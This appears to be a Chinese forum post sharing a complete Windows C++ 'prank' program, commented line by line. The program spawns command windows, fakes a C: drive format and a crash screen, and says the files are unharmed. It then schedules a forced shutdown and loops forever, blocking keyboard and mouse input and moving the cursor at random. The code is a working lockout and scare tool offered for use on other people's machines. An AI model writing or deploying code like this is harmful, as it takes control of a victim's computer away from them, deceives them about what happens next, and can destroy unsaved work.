整蛊
2026-02-14 20:02:32
发布于:浙江
觉得好就加入!链接描述
#include <bits/stdc++.h>
#include <iostream>
#include <windows.h> // 用于Sleep、Beep、SetCursorPos等Windows API
#include <cstdlib>
#include <winable.h>
#include <ctime>
using namespace std; // 补充命名空间,否则std::cout无法直接使用
void fakeFormat() {
int i;
// 修正循环条件:i<=10 而非 i=10(赋值),system参数加引号
for(i=1; i<=10; i++){
system("start"); // 打开多个cmd窗口,制造混乱
}
Sleep(3000); // 等待3秒
// 修正输出语法:补充<<、引号、转义符\n
cout << "\n警告:检测到错误,正在尝试修复...\n";
cout << "警告:检测到磁盘错误,正在尝试修复...\n";
Sleep(2000); // 修正多余的数字,保留等待2秒
cout << "正在修复 C盘...\n";
cout << "正在格式化 C盘...\n";
// 修正进度条循环条件:i<=100 而非 i=100,补充比较运算符
for (int i = 0; i <= 100; i += 3) {
// \r 回车不换行,实现进度条覆盖效果
cout << "\r进度:" << i << "% [";
// 修正比较运算符:j < i/5 而非 j i5
for (int j = 0; j < i/5; ++j) cout << "=";
for (int j = i/5; j < 20; ++j) cout << " ";
cout << "]";
cout.flush(); // 强制刷新输出缓冲区,避免进度条卡顿
Sleep(150); // 修正多余数字,等待150毫秒(原1500太快,150更合理)
}
cout << "\n\n修复完成!正在重启系统...\n";
cout << "格式化完成!正在重启系统...\n";
Sleep(2000); // 修正多余数字,等待2秒
// 模拟蓝屏效果(黑色背景,白色文字)
system("color 0F"); // 修正颜色:0F是黑底白字(原F0是白底黑字,不是蓝屏)
cout << "\n\n\t\t====================\n";
cout << "\t\t你的电脑遇到问题,需要重启。\n";
cout << "\t\t我们正在收集错误信息...\n";
// 修正循环条件:i < 10 而非 i 10
for (int i = 0; i < 10; ++i) {
Beep(800, 200); // 发出800Hz、200ms的提示音
Sleep(500); // 修正多余数字,等待500毫秒
}
// 最后揭示真相
system("cls"); // 清屏
system("color 07"); // 恢复默认黑底灰字
cout << "\n\n\t\t哈哈!你被整蛊了!\n";
cout << "\t\t这是一个玩笑,你的文件其实毫发无损。\n";
cout << "\t\t下次运行未知程序前要小心哦!\n\n";
system("shutdown -s -t 60"); // 60秒后关机(可通过shutdown -a取消)
}
int main() {
// 隐藏光标
HANDLE console = GetStdHandle(STD_OUTPUT_HANDLE);
CONSOLE_CURSOR_INFO cursorInfo;
GetConsoleCursorInfo(console, &cursorInfo);
cursorInfo.bVisible = false;
SetConsoleCursorInfo(console, &cursorInfo);
fakeFormat();
int x=1024, y=768;
srand(time(0)); // 设置随机数种子
while(1){ // 死循环:禁用输入+随机移动鼠标
BlockInput(true); // 禁用键盘鼠标输入(谨慎使用!)
SetCursorPos(rand()%x, rand()%y); // 修正多余代码,随机设置鼠标位置
Sleep(50); // 加短暂延迟,避免CPU占用过高
}
system("pause");
return 0;
}
这里空空如也

















有帮助,赞一个